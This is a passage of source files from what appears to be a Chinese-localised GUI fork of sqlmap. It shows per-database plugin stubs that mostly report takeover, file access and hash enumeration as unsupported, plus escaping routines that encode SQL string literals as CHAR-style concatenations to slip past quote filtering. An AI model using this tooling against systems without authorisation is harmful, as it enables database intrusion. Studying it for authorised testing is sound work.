10 | class Connector(GenericConnector): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/clickhouse/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getPasswordHashes(self): 13 | warnMsg = "在 ClickHouse 上无法枚举用户密码哈希值" 14 | logger.warning(warnMsg) 15 | 16 | return {} 17 | 18 | def getRoles(self, *args, **kwargs): 19 | warnMsg = "在 ClickHouse 上无法枚举用户角色" 20 | logger.warning(warnMsg) 21 | 22 | return {} 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/clickhouse/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 ClickHouse 上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 ClickHouse 上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/clickhouse/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("char(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/cratedb/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getPasswordHashes(self): 13 | warnMsg = "在 CrateDB 上无法枚举用户密码哈希值" 14 | logger.warning(warnMsg) 15 | 16 | return {} 17 | 18 | def getRoles(self, *args, **kwargs): 19 | warnMsg = "在 CrateDB 上无法枚举用户角色" 20 | logger.warning(warnMsg) 21 | 22 | return {} 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/cratedb/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/cratedb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/cubrid/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/cubrid/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> from lib.core.common import Backend 16 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 17 | True 18 | """ 19 | 20 | def escaper(value): 21 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 22 | 23 | return Syntax._escape(expression, quote, escaper) 24 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/cubrid/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在 Cubrid 上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在 Cubrid 上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在 Cubrid 上无法建立带外连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 25 | errMsg = "在 Cubrid 上无法建立带外连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/db2/enumeration.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.data import logger 9 | from plugins.generic.enumeration import Enumeration as GenericEnumeration 10 | 11 | class Enumeration(GenericEnumeration): 12 | def getPasswordHashes(self): 13 | warnMsg = "在 IBM DB2 上无法枚举密码哈希值" 14 | logger.warning(warnMsg) 15 | 16 | return {} 17 | 18 | def getStatements(self): 19 | warnMsg = "在 IBM DB2 上无法枚举 SQL 语句" 20 | logger.warning(warnMsg) 21 | 22 | return [] -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/db2/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/db2/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/db2/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.takeover import Takeover as GenericTakeover 9 | 10 | class Takeover(GenericTakeover): 11 | def __init__(self): 12 | self.__basedir = None 13 | self.__datadir = None 14 | 15 | GenericTakeover.__init__(self) 16 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/derby/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/derby/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/extremedb/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "在 eXtremeDB 上无法(目前)建立直接连接" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/extremedb/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 eXtremeDB 上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 eXtremeDB 上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/extremedb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/firebird/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 Firebird 上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 Firebird 上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/frontbase/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "在 FrontBase 上目前无法建立直接连接" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/frontbase/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 FrontBase 上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 FrontBase 上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/frontbase/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/h2/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "在 H2 上目前无法建立直接连接" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/h2/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 H2 上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 H2 上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/h2/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/h2/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在 H2 上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在 H2 上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在 H2 上无法建立带外连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 25 | errMsg = "在 H2 上无法建立带外连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/hsqldb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" 16 | True 17 | """ 18 | 19 | def escaper(value): 20 | return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) 21 | 22 | return Syntax._escape(expression, quote, escaper) 23 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/hsqldb/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在 HSQLDB 上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在 HSQLDB 上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在 HSQLDB 上无法建立带外连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 25 | errMsg = "在 HSQLDB 上无法建立带外连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/informix/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/informix/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.takeover import Takeover as GenericTakeover 9 | 10 | class Takeover(GenericTakeover): 11 | def __init__(self): 12 | self.__basedir = None 13 | self.__datadir = None 14 | 15 | GenericTakeover.__init__(self) 16 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/maxdb/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "在 SAP MaxDB 上目前无法建立直接连接" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/maxdb/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在 SAP MaxDB 上不支持读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在 SAP MaxDB 上不支持写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/maxdb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/maxdb/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在SAP MaxDB上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在SAP MaxDB上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在SAP MaxDB上无法建立带外连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 25 | errMsg = "在SAP MaxDB上无法建立带外连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/mckoi/connector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.connector import Connector as GenericConnector 10 | 11 | class Connector(GenericConnector): 12 | def connect(self): 13 | errMsg = "在Mckoi上无法建立直接连接(目前)" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/mckoi/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 10 | 11 | class Filesystem(GenericFilesystem): 12 | def readFile(self, remoteFile): 13 | errMsg = "在Mckoi上无法读取文件" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): 17 | errMsg = "在Mckoi上无法写入文件" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/mckoi/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.syntax import Syntax as GenericSyntax 9 | 10 | class Syntax(GenericSyntax): 11 | @staticmethod 12 | def escape(expression, quote=True): 13 | """ 14 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" 15 | True 16 | """ 17 | 18 | return expression 19 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/mckoi/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在Mckoi上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在Mckoi上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在Mckoi上无法建立带外连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 25 | errMsg = "在Mckoi上无法建立带外连接" 26 | raise SqlmapUnsupportedFeatureException(errMsg) 27 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/mimersql/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/monetdb/filesystem.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from plugins.generic.filesystem import Filesystem as GenericFilesystem 9 | 10 | class Filesystem(GenericFilesystem): 11 | pass 12 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/monetdb/syntax.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.convert import getOrds 9 | from plugins.generic.syntax import Syntax as GenericSyntax 10 | 11 | class Syntax(GenericSyntax): 12 | @staticmethod 13 | def escape(expression, quote=True): 14 | """ 15 | >>> from lib.core.common import Backend 16 | >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar" 17 | True 18 | """ 19 | 20 | def escaper(value): 21 | return "||".join("CODE(%d)" % _ for _ in getOrds(value)) 22 | 23 | return Syntax._escape(expression, quote, escaper) 24 | -------------------------------------------------------------------------------- /GUI-CN/plugins/dbms/monetdb/takeover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) 5 | See the file 'LICENSE' for copying permission 6 | """ 7 | 8 | from lib.core.exception import SqlmapUnsupportedFeatureException 9 | from plugins.generic.takeover import Takeover as GenericTakeover 10 | 11 | class Takeover(GenericTakeover): 12 | def osCmd(self): 13 | errMsg = "在MonetDB上无法执行命令" 14 | raise SqlmapUnsupportedFeatureException(errMsg) 15 | 16 | def osShell(self): 17 | errMsg = "在MonetDB上无法执行命令" 18 | raise SqlmapUnsupportedFeatureException(errMsg) 19 | 20 | def osPwn(self): 21 | errMsg = "在MonetDB上无法建立带外连接" 22 | raise SqlmapUnsupportedFeatureException(errMsg) 23 | 24 | def osSmb(self): 